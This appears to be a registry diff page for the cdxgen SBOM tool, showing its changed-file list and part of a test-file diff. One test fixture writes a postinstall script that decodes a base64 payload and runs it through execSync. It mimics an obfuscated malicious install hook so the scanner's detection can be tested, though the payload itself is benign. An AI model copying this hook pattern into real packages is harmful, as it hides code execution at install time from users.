@cyclonedx/cdxgen 12.2.1 → 12.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (170) hide show
  1. package/README.md +239 -90
  2. package/bin/audit.js +191 -0
  3. package/bin/cdxgen.js +513 -167
  4. package/bin/convert.js +99 -0
  5. package/bin/evinse.js +23 -0
  6. package/bin/repl.js +339 -8
  7. package/bin/sign.js +8 -0
  8. package/bin/validate.js +8 -0
  9. package/bin/verify.js +8 -0
  10. package/data/container-knowledge-index.json +125 -0
  11. package/data/gtfobins-index.json +6296 -0
  12. package/data/lolbas-index.json +150 -0
  13. package/data/queries-darwin.json +63 -3
  14. package/data/queries-win.json +45 -3
  15. package/data/queries.json +74 -2
  16. package/data/rules/chrome-extensions.yaml +240 -0
  17. package/data/rules/ci-permissions.yaml +478 -18
  18. package/data/rules/container-risk.yaml +270 -0
  19. package/data/rules/obom-runtime.yaml +891 -0
  20. package/data/rules/package-integrity.yaml +49 -0
  21. package/data/spdx-export.schema.json +6794 -0
  22. package/data/spdx-model-v3.0.1.jsonld +15999 -0
  23. package/lib/audit/index.js +1924 -0
  24. package/lib/audit/index.poku.js +1488 -0
  25. package/lib/audit/progress.js +137 -0
  26. package/lib/audit/progress.poku.js +188 -0
  27. package/lib/audit/reporters.js +618 -0
  28. package/lib/audit/scoring.js +310 -0
  29. package/lib/audit/scoring.poku.js +341 -0
  30. package/lib/audit/targets.js +260 -0
  31. package/lib/audit/targets.poku.js +331 -0
  32. package/lib/cli/index.js +154 -11
  33. package/lib/cli/index.poku.js +251 -0
  34. package/lib/helpers/analyzer.js +446 -2
  35. package/lib/helpers/analyzer.poku.js +72 -1
  36. package/lib/helpers/annotationFormatter.js +49 -0
  37. package/lib/helpers/annotationFormatter.poku.js +44 -0
  38. package/lib/helpers/bomUtils.js +36 -0
  39. package/lib/helpers/bomUtils.poku.js +51 -0
  40. package/lib/helpers/caxa.js +2 -2
  41. package/lib/helpers/chromextutils.js +1153 -0
  42. package/lib/helpers/chromextutils.poku.js +493 -0
  43. package/lib/helpers/ciParsers/githubActions.js +1632 -45
  44. package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
  45. package/lib/helpers/containerRisk.js +186 -0
  46. package/lib/helpers/containerRisk.poku.js +52 -0
  47. package/lib/helpers/display.js +241 -59
  48. package/lib/helpers/display.poku.js +162 -2
  49. package/lib/helpers/exportUtils.js +123 -0
  50. package/lib/helpers/exportUtils.poku.js +60 -0
  51. package/lib/helpers/formulationParsers.js +69 -0
  52. package/lib/helpers/formulationParsers.poku.js +44 -0
  53. package/lib/helpers/gtfobins.js +189 -0
  54. package/lib/helpers/gtfobins.poku.js +49 -0
  55. package/lib/helpers/lolbas.js +267 -0
  56. package/lib/helpers/lolbas.poku.js +39 -0
  57. package/lib/helpers/osqueryTransform.js +84 -0
  58. package/lib/helpers/osqueryTransform.poku.js +49 -0
  59. package/lib/helpers/provenanceUtils.js +193 -0
  60. package/lib/helpers/provenanceUtils.poku.js +145 -0
  61. package/lib/helpers/pylockutils.js +281 -0
  62. package/lib/helpers/pylockutils.poku.js +48 -0
  63. package/lib/helpers/registryProvenance.js +793 -0
  64. package/lib/helpers/registryProvenance.poku.js +452 -0
  65. package/lib/helpers/source.js +1267 -0
  66. package/lib/helpers/source.poku.js +771 -0
  67. package/lib/helpers/spdxUtils.js +97 -0
  68. package/lib/helpers/spdxUtils.poku.js +70 -0
  69. package/lib/helpers/unicodeScan.js +147 -0
  70. package/lib/helpers/unicodeScan.poku.js +45 -0
  71. package/lib/helpers/utils.js +700 -128
  72. package/lib/helpers/utils.poku.js +877 -80
  73. package/lib/managers/binary.js +29 -5
  74. package/lib/managers/docker.js +179 -52
  75. package/lib/managers/docker.poku.js +327 -28
  76. package/lib/managers/oci.js +107 -23
  77. package/lib/managers/oci.poku.js +132 -0
  78. package/lib/server/openapi.yaml +17 -0
  79. package/lib/server/server.js +225 -336
  80. package/lib/server/server.poku.js +16 -10
  81. package/lib/stages/postgen/annotator.js +7 -0
  82. package/lib/stages/postgen/annotator.poku.js +40 -0
  83. package/lib/stages/postgen/auditBom.js +19 -3
  84. package/lib/stages/postgen/auditBom.poku.js +1729 -67
  85. package/lib/stages/postgen/postgen.js +40 -0
  86. package/lib/stages/postgen/postgen.poku.js +47 -0
  87. package/lib/stages/postgen/ruleEngine.js +80 -2
  88. package/lib/stages/postgen/spdxConverter.js +796 -0
  89. package/lib/stages/postgen/spdxConverter.poku.js +341 -0
  90. package/lib/validator/bomValidator.js +232 -0
  91. package/lib/validator/bomValidator.poku.js +70 -0
  92. package/lib/validator/complianceRules.js +70 -7
  93. package/lib/validator/complianceRules.poku.js +30 -0
  94. package/lib/validator/reporters/annotations.js +2 -2
  95. package/lib/validator/reporters/console.js +11 -0
  96. package/lib/validator/reporters.poku.js +13 -0
  97. package/package.json +10 -7
  98. package/types/bin/audit.d.ts +3 -0
  99. package/types/bin/audit.d.ts.map +1 -0
  100. package/types/bin/convert.d.ts +3 -0
  101. package/types/bin/convert.d.ts.map +1 -0
  102. package/types/bin/repl.d.ts.map +1 -1
  103. package/types/lib/audit/index.d.ts +115 -0
  104. package/types/lib/audit/index.d.ts.map +1 -0
  105. package/types/lib/audit/progress.d.ts +27 -0
  106. package/types/lib/audit/progress.d.ts.map +1 -0
  107. package/types/lib/audit/reporters.d.ts +35 -0
  108. package/types/lib/audit/reporters.d.ts.map +1 -0
  109. package/types/lib/audit/scoring.d.ts +35 -0
  110. package/types/lib/audit/scoring.d.ts.map +1 -0
  111. package/types/lib/audit/targets.d.ts +63 -0
  112. package/types/lib/audit/targets.d.ts.map +1 -0
  113. package/types/lib/cli/index.d.ts +8 -0
  114. package/types/lib/cli/index.d.ts.map +1 -1
  115. package/types/lib/helpers/analyzer.d.ts +13 -0
  116. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  117. package/types/lib/helpers/annotationFormatter.d.ts +23 -0
  118. package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
  119. package/types/lib/helpers/bomUtils.d.ts +5 -0
  120. package/types/lib/helpers/bomUtils.d.ts.map +1 -0
  121. package/types/lib/helpers/chromextutils.d.ts +97 -0
  122. package/types/lib/helpers/chromextutils.d.ts.map +1 -0
  123. package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
  124. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  125. package/types/lib/helpers/containerRisk.d.ts +17 -0
  126. package/types/lib/helpers/containerRisk.d.ts.map +1 -0
  127. package/types/lib/helpers/display.d.ts +4 -1
  128. package/types/lib/helpers/display.d.ts.map +1 -1
  129. package/types/lib/helpers/exportUtils.d.ts +40 -0
  130. package/types/lib/helpers/exportUtils.d.ts.map +1 -0
  131. package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
  132. package/types/lib/helpers/gtfobins.d.ts +17 -0
  133. package/types/lib/helpers/gtfobins.d.ts.map +1 -0
  134. package/types/lib/helpers/lolbas.d.ts +16 -0
  135. package/types/lib/helpers/lolbas.d.ts.map +1 -0
  136. package/types/lib/helpers/osqueryTransform.d.ts +7 -0
  137. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
  138. package/types/lib/helpers/provenanceUtils.d.ts +90 -0
  139. package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
  140. package/types/lib/helpers/pylockutils.d.ts +51 -0
  141. package/types/lib/helpers/pylockutils.d.ts.map +1 -0
  142. package/types/lib/helpers/registryProvenance.d.ts +17 -0
  143. package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
  144. package/types/lib/helpers/source.d.ts +141 -0
  145. package/types/lib/helpers/source.d.ts.map +1 -0
  146. package/types/lib/helpers/spdxUtils.d.ts +2 -0
  147. package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
  148. package/types/lib/helpers/unicodeScan.d.ts +46 -0
  149. package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
  150. package/types/lib/helpers/utils.d.ts +29 -11
  151. package/types/lib/helpers/utils.d.ts.map +1 -1
  152. package/types/lib/managers/binary.d.ts.map +1 -1
  153. package/types/lib/managers/docker.d.ts.map +1 -1
  154. package/types/lib/managers/oci.d.ts.map +1 -1
  155. package/types/lib/server/server.d.ts +0 -36
  156. package/types/lib/server/server.d.ts.map +1 -1
  157. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  158. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  159. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  160. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  161. package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
  162. package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
  163. package/types/lib/validator/bomValidator.d.ts +1 -0
  164. package/types/lib/validator/bomValidator.d.ts.map +1 -1
  165. package/types/lib/validator/complianceRules.d.ts.map +1 -1
  166. package/types/lib/validator/reporters/console.d.ts.map +1 -1
  167. package/types/bin/dependencies.d.ts +0 -3
  168. package/types/bin/dependencies.d.ts.map +0 -1
  169. package/types/bin/licenses.d.ts +0 -3
  170. package/types/bin/licenses.d.ts.map +0 -1
@@ -1,9 +1,21 @@
1
1
  import { Buffer } from "node:buffer";
2
- import { existsSync, readFileSync, unlinkSync, writeFileSync } from "node:fs";
2
+ import {
3
+ existsSync,
4
+ mkdirSync,
5
+ mkdtempSync,
6
+ readFileSync,
7
+ rmSync,
8
+ unlinkSync,
9
+ writeFileSync,
10
+ } from "node:fs";
11
+ import { tmpdir } from "node:os";
3
12
  import path from "node:path";
13
+ import process from "node:process";
4
14
 
15
+ import esmock from "esmock";
5
16
  import { PackageURL } from "packageurl-js";
6
17
  import { assert, describe, it, test } from "poku";
18
+ import sinon from "sinon";
7
19
  import { parse } from "ssri";
8
20
  import { parse as loadYaml } from "yaml";
9
21
 
@@ -11,6 +23,7 @@ import { validateRefs } from "../validator/bomValidator.js";
11
23
  import {
12
24
  buildObjectForCocoaPod,
13
25
  buildObjectForGradleModule,
26
+ convertOSQueryResults,
14
27
  encodeForPurl,
15
28
  findLicenseId,
16
29
  findPnpmPackagePath,
@@ -18,11 +31,11 @@ import {
18
31
  getDartMetadata,
19
32
  getLicenses,
20
33
  getMvnMetadata,
21
- getNugetMetadata,
22
34
  getPropertyGroupTextNodes,
23
35
  getPyMetadata,
24
36
  guessPypiMatchingVersion,
25
37
  hasAnyProjectType,
38
+ inferJarGroupFromManifest,
26
39
  isPackageManagerAllowed,
27
40
  isPartialTree,
28
41
  isValidIriReference,
@@ -71,6 +84,7 @@ import {
71
84
  parseGradleProjects,
72
85
  parseGradleProperties,
73
86
  parseHelmYamlData,
87
+ parseJarManifest,
74
88
  parseKVDep,
75
89
  parseLeinDep,
76
90
  parseLeiningenData,
@@ -93,6 +107,7 @@ import {
93
107
  parsePodfileLock,
94
108
  parsePodfileTargets,
95
109
  parsePom,
110
+ parsePomProperties,
96
111
  parsePrivadoFile,
97
112
  parsePubLockData,
98
113
  parsePubYamlData,
@@ -110,11 +125,21 @@ import {
110
125
  pnpmMetadata,
111
126
  purlFromUrlString,
112
127
  readZipEntry,
128
+ safeSpawnSync,
113
129
  splitOutputByGradleProjects,
114
130
  toGemModuleNames,
131
+ trimJarGroupSuffix,
115
132
  yarnLockToIdentMap,
116
133
  } from "./utils.js";
117
134
 
135
+ const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
136
+
137
+ function readJarMetadataFixture(...segments) {
138
+ return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
139
+ encoding: "utf-8",
140
+ });
141
+ }
142
+
118
143
  it("SSRI test", () => {
119
144
  // gopkg.lock hash
120
145
  let ss = parse(
@@ -198,6 +223,81 @@ it("finds license id from name", () => {
198
223
  );
199
224
  });
200
225
 
226
+ it("safeSpawnSync() resets ANSI color state for host pip warnings", () => {
227
+ const originalConsoleWarn = console.warn;
228
+ const originalContainer = process.env.CDXGEN_IN_CONTAINER;
229
+ const originalNoticeCache = globalThis.__cdxgenNoticeCache;
230
+ const warnings = [];
231
+ delete process.env.CDXGEN_IN_CONTAINER;
232
+ delete globalThis.__cdxgenNoticeCache;
233
+ console.warn = (message) => {
234
+ warnings.push(message);
235
+ };
236
+
237
+ try {
238
+ safeSpawnSync("pip-cdxgen-test", ["install"], {});
239
+ assert.strictEqual(warnings.length, 1);
240
+ assert.ok(
241
+ warnings[0].startsWith(
242
+ "\x1b[1;35mNotice: pip/uv install invoked without '--only-binary'.",
243
+ ),
244
+ );
245
+ assert.ok(warnings[0].endsWith("\x1b[0m"));
246
+ assert.ok(!warnings[0].endsWith("\x1b"));
247
+ } finally {
248
+ console.warn = originalConsoleWarn;
249
+ if (originalContainer === undefined) {
250
+ delete process.env.CDXGEN_IN_CONTAINER;
251
+ } else {
252
+ process.env.CDXGEN_IN_CONTAINER = originalContainer;
253
+ }
254
+ if (originalNoticeCache === undefined) {
255
+ delete globalThis.__cdxgenNoticeCache;
256
+ } else {
257
+ globalThis.__cdxgenNoticeCache = originalNoticeCache;
258
+ }
259
+ }
260
+ });
261
+
262
+ it("safeSpawnSync() logs container python notices to stdout", () => {
263
+ const originalConsoleLog = console.log;
264
+ const originalConsoleWarn = console.warn;
265
+ const originalContainer = process.env.CDXGEN_IN_CONTAINER;
266
+ const originalNoticeCache = globalThis.__cdxgenNoticeCache;
267
+ const logs = [];
268
+ const warnings = [];
269
+ process.env.CDXGEN_IN_CONTAINER = "true";
270
+ delete globalThis.__cdxgenNoticeCache;
271
+ console.log = (message) => {
272
+ logs.push(message);
273
+ };
274
+ console.warn = (message) => {
275
+ warnings.push(message);
276
+ };
277
+
278
+ try {
279
+ safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
280
+ safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
281
+ assert.deepStrictEqual(logs, [
282
+ "Running python command without '-S' argument.",
283
+ ]);
284
+ assert.deepStrictEqual(warnings, []);
285
+ } finally {
286
+ console.log = originalConsoleLog;
287
+ console.warn = originalConsoleWarn;
288
+ if (originalContainer === undefined) {
289
+ delete process.env.CDXGEN_IN_CONTAINER;
290
+ } else {
291
+ process.env.CDXGEN_IN_CONTAINER = originalContainer;
292
+ }
293
+ if (originalNoticeCache === undefined) {
294
+ delete globalThis.__cdxgenNoticeCache;
295
+ } else {
296
+ globalThis.__cdxgenNoticeCache = originalNoticeCache;
297
+ }
298
+ }
299
+ });
300
+
201
301
  it("splits parallel gradle properties output correctly", () => {
202
302
  const parallelGradlePropertiesOutput = readFileSync(
203
303
  "./test/gradle-prop-parallel.out",
@@ -2597,77 +2697,78 @@ it("parse github actions workflow data", () => {
2597
2697
  assert.deepStrictEqual(parseGitHubWorkflowData(null), []);
2598
2698
  let dep_list = parseGitHubWorkflowData("./.github/workflows/nodejs.yml");
2599
2699
  assert.deepStrictEqual(dep_list.length, 13);
2600
- assert.deepStrictEqual(dep_list[0], {
2601
- "bom-ref":
2602
- "pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2603
- type: "application",
2604
- group: "actions",
2605
- name: "checkout",
2606
- version: "de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2607
- purl: "pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2608
- properties: [
2609
- {
2610
- name: "SrcFile",
2611
- value: "./.github/workflows/nodejs.yml",
2612
- },
2613
- {
2614
- name: "cdx:github:workflow:name",
2615
- value: "Node CI",
2616
- },
2617
- {
2618
- name: "cdx:github:workflow:file",
2619
- value: "./.github/workflows/nodejs.yml",
2620
- },
2621
- {
2622
- name: "cdx:github:job:name",
2623
- value: "read-node-versions",
2624
- },
2625
- {
2626
- name: "cdx:github:job:runner",
2627
- value: "ubuntu-latest",
2628
- },
2629
- {
2630
- name: "cdx:github:action:uses",
2631
- value: "actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2632
- },
2633
- {
2634
- name: "cdx:github:action:versionPinningType",
2635
- value: "sha",
2636
- },
2637
- {
2638
- name: "cdx:github:action:isShaPinned",
2639
- value: "true",
2640
- },
2641
- {
2642
- name: "cdx:actions:isOfficial",
2643
- value: "true",
2644
- },
2645
- {
2646
- name: "cdx:github:checkout:persistCredentials",
2647
- value: "false",
2648
- },
2649
- {
2650
- name: "cdx:github:workflow:triggers",
2651
- value: "pull_request,push,workflow_dispatch",
2652
- },
2653
- ],
2654
- scope: "required",
2655
- evidence: {
2656
- identity: [
2657
- {
2658
- field: "purl",
2659
- confidence: 0.5,
2660
- methods: [
2661
- {
2662
- technique: "source-code-analysis",
2663
- confidence: 0.5,
2664
- value: "./.github/workflows/nodejs.yml",
2665
- },
2666
- ],
2667
- },
2668
- ],
2669
- },
2670
- });
2700
+ const firstAction = dep_list[0];
2701
+ assert.deepStrictEqual(firstAction["bom-ref"], firstAction.purl);
2702
+ assert.deepStrictEqual(firstAction.type, "application");
2703
+ assert.deepStrictEqual(firstAction.group, "actions");
2704
+ assert.deepStrictEqual(firstAction.name, "checkout");
2705
+ assert.deepStrictEqual(
2706
+ firstAction.version,
2707
+ "de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2708
+ );
2709
+ assert.deepStrictEqual(
2710
+ firstAction.purl,
2711
+ "pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2712
+ );
2713
+ assert.deepStrictEqual(firstAction.scope, "required");
2714
+ assert.deepStrictEqual(firstAction.evidence?.identity?.[0]?.field, "purl");
2715
+ assert.deepStrictEqual(
2716
+ firstAction.evidence?.identity?.[0]?.methods?.[0]?.value,
2717
+ "./.github/workflows/nodejs.yml",
2718
+ );
2719
+ const firstActionProps = Object.fromEntries(
2720
+ firstAction.properties.map((prop) => [prop.name, prop.value]),
2721
+ );
2722
+ assert.deepStrictEqual(
2723
+ firstActionProps.SrcFile,
2724
+ "./.github/workflows/nodejs.yml",
2725
+ );
2726
+ assert.deepStrictEqual(
2727
+ firstActionProps["cdx:github:workflow:name"],
2728
+ "Node CI",
2729
+ );
2730
+ assert.deepStrictEqual(
2731
+ firstActionProps["cdx:github:workflow:file"],
2732
+ "./.github/workflows/nodejs.yml",
2733
+ );
2734
+ assert.deepStrictEqual(
2735
+ firstActionProps["cdx:github:job:name"],
2736
+ "read-node-versions",
2737
+ );
2738
+ assert.deepStrictEqual(
2739
+ firstActionProps["cdx:github:job:runner"],
2740
+ "ubuntu-latest",
2741
+ );
2742
+ assert.deepStrictEqual(
2743
+ firstActionProps["cdx:github:action:uses"],
2744
+ "actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2745
+ );
2746
+ assert.deepStrictEqual(
2747
+ firstActionProps["cdx:github:action:versionPinningType"],
2748
+ "sha",
2749
+ );
2750
+ assert.deepStrictEqual(
2751
+ firstActionProps["cdx:github:action:isShaPinned"],
2752
+ "true",
2753
+ );
2754
+ assert.deepStrictEqual(firstActionProps["cdx:actions:isOfficial"], "true");
2755
+ assert.deepStrictEqual(firstActionProps["cdx:actions:isVerified"], "false");
2756
+ assert.deepStrictEqual(
2757
+ firstActionProps["cdx:github:checkout:persistCredentials"],
2758
+ "false",
2759
+ );
2760
+ assert.deepStrictEqual(
2761
+ firstActionProps["cdx:github:workflow:triggers"],
2762
+ "pull_request,push,workflow_dispatch",
2763
+ );
2764
+ assert.deepStrictEqual(
2765
+ firstActionProps["cdx:github:workflow:hasPullRequestTrigger"],
2766
+ "true",
2767
+ );
2768
+ assert.deepStrictEqual(
2769
+ firstActionProps["cdx:github:workflow:hasWorkflowDispatchTrigger"],
2770
+ "true",
2771
+ );
2671
2772
  dep_list = parseGitHubWorkflowData("./test/data/github-actions-tj.yaml");
2672
2773
  assert.deepStrictEqual(dep_list.length, 4);
2673
2774
  dep_list = parseGitHubWorkflowData("./.github/workflows/repotests.yml");
@@ -3334,6 +3435,10 @@ it("get nget metadata", async () => {
3334
3435
  ],
3335
3436
  ref: "pkg:nuget/Serilog@3.0.1",
3336
3437
  },
3438
+ {
3439
+ dependsOn: ["pkg:nuget/Serilog@3.0.1"],
3440
+ ref: "pkg:nuget/Sample@latest",
3441
+ },
3337
3442
  ];
3338
3443
  const pkg_list = [
3339
3444
  {
@@ -3348,9 +3453,133 @@ it("get nget metadata", async () => {
3348
3453
  version: "3.0.1",
3349
3454
  "bom-ref": "pkg:nuget/Serilog@3.0.1",
3350
3455
  },
3456
+ {
3457
+ group: "",
3458
+ name: "Sample",
3459
+ version: "latest",
3460
+ "bom-ref": "pkg:nuget/Sample@latest",
3461
+ },
3351
3462
  ];
3352
- const { pkgList, dependencies } = await getNugetMetadata(pkg_list, dep_list);
3353
- // This data will need to be updated periodically as it tests that missing versions are set to the latest rc
3463
+ const responses = new Map([
3464
+ [
3465
+ "https://api.nuget.org/v3/index.json",
3466
+ {
3467
+ body: {
3468
+ resources: [
3469
+ {
3470
+ "@type": "RegistrationsBaseUrl/3.6.0",
3471
+ "@id": "https://api.nuget.org/v3/registration3/",
3472
+ },
3473
+ ],
3474
+ },
3475
+ },
3476
+ ],
3477
+ [
3478
+ "https://api.nuget.org/v3/registration3/castle.core/index.json",
3479
+ {
3480
+ body: {
3481
+ items: [
3482
+ {
3483
+ lower: "4.0.0",
3484
+ upper: "4.4.0",
3485
+ items: [
3486
+ {
3487
+ catalogEntry: {
3488
+ version: "4.4.0",
3489
+ description:
3490
+ "Castle Core, including DynamicProxy, Logging Abstractions and DictionaryAdapter",
3491
+ authors: "Castle Project Contributors",
3492
+ licenseExpression: "Apache-2.0",
3493
+ tags: [
3494
+ "Castle",
3495
+ "DynamicProxy",
3496
+ "dynamic",
3497
+ "proxy",
3498
+ "dynamicproxy2",
3499
+ "dictionaryadapter",
3500
+ "emailsender",
3501
+ ],
3502
+ projectUrl: "http://www.castleproject.org/",
3503
+ },
3504
+ },
3505
+ ],
3506
+ },
3507
+ ],
3508
+ },
3509
+ },
3510
+ ],
3511
+ [
3512
+ "https://api.nuget.org/v3/registration3/serilog/index.json",
3513
+ {
3514
+ body: {
3515
+ items: [
3516
+ {
3517
+ lower: "3.0.0",
3518
+ upper: "3.0.1",
3519
+ items: [
3520
+ {
3521
+ catalogEntry: {
3522
+ version: "3.0.1",
3523
+ description:
3524
+ "Simple .NET logging with fully-structured events",
3525
+ authors: "Serilog Contributors",
3526
+ licenseExpression: "Apache-2.0",
3527
+ tags: ["serilog", "logging", "semantic", "structured"],
3528
+ projectUrl: "https://serilog.net/",
3529
+ },
3530
+ },
3531
+ ],
3532
+ },
3533
+ ],
3534
+ },
3535
+ },
3536
+ ],
3537
+ [
3538
+ "https://api.nuget.org/v3/registration3/sample/index.json",
3539
+ {
3540
+ body: {
3541
+ items: [
3542
+ {
3543
+ lower: "1.0.0",
3544
+ upper: "1.2.3",
3545
+ items: [
3546
+ {
3547
+ catalogEntry: {
3548
+ version: "1.2.3",
3549
+ description: "Sample package for metadata tests",
3550
+ authors: "Sample Maintainers",
3551
+ licenseExpression: "MIT",
3552
+ tags: ["Sample", "Demo"],
3553
+ projectUrl: "https://example.invalid/sample",
3554
+ },
3555
+ },
3556
+ ],
3557
+ },
3558
+ ],
3559
+ },
3560
+ },
3561
+ ],
3562
+ ]);
3563
+ const agentGet = sinon.stub().callsFake(async (url, options) => {
3564
+ assert.strictEqual(options?.responseType, "json");
3565
+ const response = responses.get(String(url));
3566
+ assert.ok(response, `unexpected NuGet request: ${url}`);
3567
+ return response;
3568
+ });
3569
+ const { getNugetMetadata: mockedGetNugetMetadata } = await esmock(
3570
+ "./utils.js",
3571
+ {
3572
+ got: {
3573
+ default: {
3574
+ extend: sinon.stub().returns({ get: agentGet }),
3575
+ },
3576
+ },
3577
+ },
3578
+ );
3579
+ const { pkgList, dependencies } = await mockedGetNugetMetadata(
3580
+ pkg_list,
3581
+ dep_list,
3582
+ );
3354
3583
  assert.deepStrictEqual(pkgList, [
3355
3584
  {
3356
3585
  author: "Castle Project Contributors",
@@ -3393,8 +3622,24 @@ it("get nget metadata", async () => {
3393
3622
  tags: ["serilog", "logging", "semantic", "structured"],
3394
3623
  version: "3.0.1",
3395
3624
  },
3625
+ {
3626
+ author: "Sample Maintainers",
3627
+ "bom-ref": "pkg:nuget/Sample@1.2.3",
3628
+ description: "Sample package for metadata tests",
3629
+ group: "",
3630
+ homepage: {
3631
+ url: "https://www.nuget.org/packages/Sample/1.2.3/",
3632
+ },
3633
+ license: "MIT",
3634
+ name: "Sample",
3635
+ repository: {
3636
+ url: "https://example.invalid/sample",
3637
+ },
3638
+ tags: ["sample", "demo"],
3639
+ version: "1.2.3",
3640
+ },
3396
3641
  ]);
3397
- assert.deepStrictEqual(pkgList.length, 2);
3642
+ assert.deepStrictEqual(pkgList.length, 3);
3398
3643
  assert.deepStrictEqual(dependencies, [
3399
3644
  {
3400
3645
  dependsOn: [
@@ -3432,6 +3677,10 @@ it("get nget metadata", async () => {
3432
3677
  ],
3433
3678
  ref: "pkg:nuget/Serilog@3.0.1",
3434
3679
  },
3680
+ {
3681
+ dependsOn: ["pkg:nuget/Serilog@3.0.1"],
3682
+ ref: "pkg:nuget/Sample@1.2.3",
3683
+ },
3435
3684
  ]);
3436
3685
  }, 240000);
3437
3686
 
@@ -3643,6 +3892,325 @@ it("parsePkgJson", async () => {
3643
3892
  assert.deepStrictEqual(pkgList.length, 1);
3644
3893
  });
3645
3894
 
3895
+ it("parsePkgJson emits obfuscated lifecycle-hook indicators", async () => {
3896
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pkgjson-"));
3897
+ const pkgJsonFile = path.join(tempDir, "package.json");
3898
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
3899
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
3900
+ writeFileSync(
3901
+ installScriptFile,
3902
+ [
3903
+ "import cp from 'node:child_process';",
3904
+ "const payload = Buffer.from('ZXZhbCgnY29uc29sZS5sb2coMSknKQ==', 'base64');",
3905
+ "cp.execSync(payload.toString());",
3906
+ ].join("\n"),
3907
+ );
3908
+ writeFileSync(
3909
+ pkgJsonFile,
3910
+ JSON.stringify(
3911
+ {
3912
+ name: "suspicious-pkg",
3913
+ version: "1.0.0",
3914
+ scripts: {
3915
+ postinstall: "node scripts/postinstall.js",
3916
+ },
3917
+ },
3918
+ null,
3919
+ 2,
3920
+ ),
3921
+ );
3922
+
3923
+ try {
3924
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
3925
+ assert.strictEqual(pkgList.length, 1);
3926
+ const properties = pkgList[0].properties || [];
3927
+ assert.ok(
3928
+ properties.some(
3929
+ (property) =>
3930
+ property.name === "cdx:npm:hasInstallScript" &&
3931
+ property.value === "true",
3932
+ ),
3933
+ );
3934
+ assert.ok(
3935
+ properties.some(
3936
+ (property) =>
3937
+ property.name === "cdx:npm:hasObfuscatedLifecycleScript" &&
3938
+ property.value === "true",
3939
+ ),
3940
+ );
3941
+ assert.ok(
3942
+ properties.some(
3943
+ (property) =>
3944
+ property.name === "cdx:npm:lifecycleObfuscationIndicators" &&
3945
+ property.value.includes("ast:buffer-base64"),
3946
+ ),
3947
+ );
3948
+ assert.ok(
3949
+ properties.some(
3950
+ (property) =>
3951
+ property.name === "cdx:npm:lifecycleExecutionIndicators" &&
3952
+ property.value.includes("ast:child-process"),
3953
+ ),
3954
+ );
3955
+ } finally {
3956
+ rmSync(tempDir, { force: true, recursive: true });
3957
+ }
3958
+ });
3959
+
3960
+ it("parsePkgJson handles lifecycle runners with option flags", async () => {
3961
+ const tempDir = mkdtempSync(
3962
+ path.join(tmpdir(), "cdxgen-pkgjson-runner-flags-"),
3963
+ );
3964
+ const pkgJsonFile = path.join(tempDir, "package.json");
3965
+ const preloadFile = path.join(tempDir, "preload.js");
3966
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
3967
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
3968
+ writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
3969
+ writeFileSync(
3970
+ installScriptFile,
3971
+ [
3972
+ "import cp from 'node:child_process';",
3973
+ "cp.execSync('echo cdxgen');",
3974
+ ].join("\n"),
3975
+ );
3976
+ writeFileSync(
3977
+ pkgJsonFile,
3978
+ JSON.stringify(
3979
+ {
3980
+ name: "runner-flags-pkg",
3981
+ version: "1.0.0",
3982
+ scripts: {
3983
+ postinstall:
3984
+ "cross-env NODE_ENV=production node --loader tsx --require ./preload.js ./scripts/postinstall.js && echo done",
3985
+ },
3986
+ },
3987
+ null,
3988
+ 2,
3989
+ ),
3990
+ );
3991
+
3992
+ try {
3993
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
3994
+ assert.strictEqual(pkgList.length, 1);
3995
+ const properties = pkgList[0].properties || [];
3996
+ assert.ok(
3997
+ properties.some(
3998
+ (property) =>
3999
+ property.name === "cdx:npm:hasInstallScript" &&
4000
+ property.value === "true",
4001
+ ),
4002
+ );
4003
+ assert.ok(
4004
+ properties.some(
4005
+ (property) =>
4006
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4007
+ property.value.includes("ast:child-process"),
4008
+ ),
4009
+ );
4010
+ } finally {
4011
+ rmSync(tempDir, { force: true, recursive: true });
4012
+ }
4013
+ });
4014
+
4015
+ it("parsePkgJson ignores lifecycle script files outside the package directory", async () => {
4016
+ const tempDir = mkdtempSync(
4017
+ path.join(tmpdir(), "cdxgen-pkgjson-outside-script-"),
4018
+ );
4019
+ const packageDir = path.join(tempDir, "package");
4020
+ const pkgJsonFile = path.join(packageDir, "package.json");
4021
+ const outsideScriptFile = path.join(tempDir, "secret.js");
4022
+ mkdirSync(packageDir, { recursive: true });
4023
+ writeFileSync(
4024
